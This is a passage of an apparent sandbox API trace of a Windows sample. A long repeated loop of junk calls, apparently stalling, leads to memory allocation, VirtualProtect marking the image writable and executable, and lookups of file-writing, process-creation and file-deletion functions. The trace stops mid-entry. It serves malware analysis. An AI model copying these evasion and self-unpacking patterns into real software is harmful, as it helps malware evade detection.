0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.529] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.529] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.529] AddAtomA (lpString=0x0) returned 0x0 [0052.530] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.530] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.530] AddAtomA (lpString=0x0) returned 0x0 [0052.530] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.530] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.530] AddAtomA (lpString=0x0) returned 0x0 [0052.530] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.530] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.530] AddAtomA (lpString=0x0) returned 0x0 [0052.530] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.530] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.530] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.531] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.531] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.531] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.532] AddAtomA (lpString=0x0) returned 0x0 [0052.532] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.532] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.533] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.533] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.533] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.534] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.534] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.534] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.535] AddAtomA (lpString=0x0) returned 0x0 [0052.535] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.535] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.536] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.536] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.536] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.537] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.537] AddAtomA (lpString=0x0) returned 0x0 [0052.537] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.538] AddAtomA (lpString=0x0) returned 0x0 [0052.538] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.538] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.558] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.558] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0052.558] SetErrorMode (uMode=0x400) returned 0x0 [0052.558] SetErrorMode (uMode=0x0) returned 0x400 [0052.558] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0052.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0052.561] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0052.591] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.592] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0052.592] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0052.592] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.592] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0052.671] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0052.672] GetProcAddress 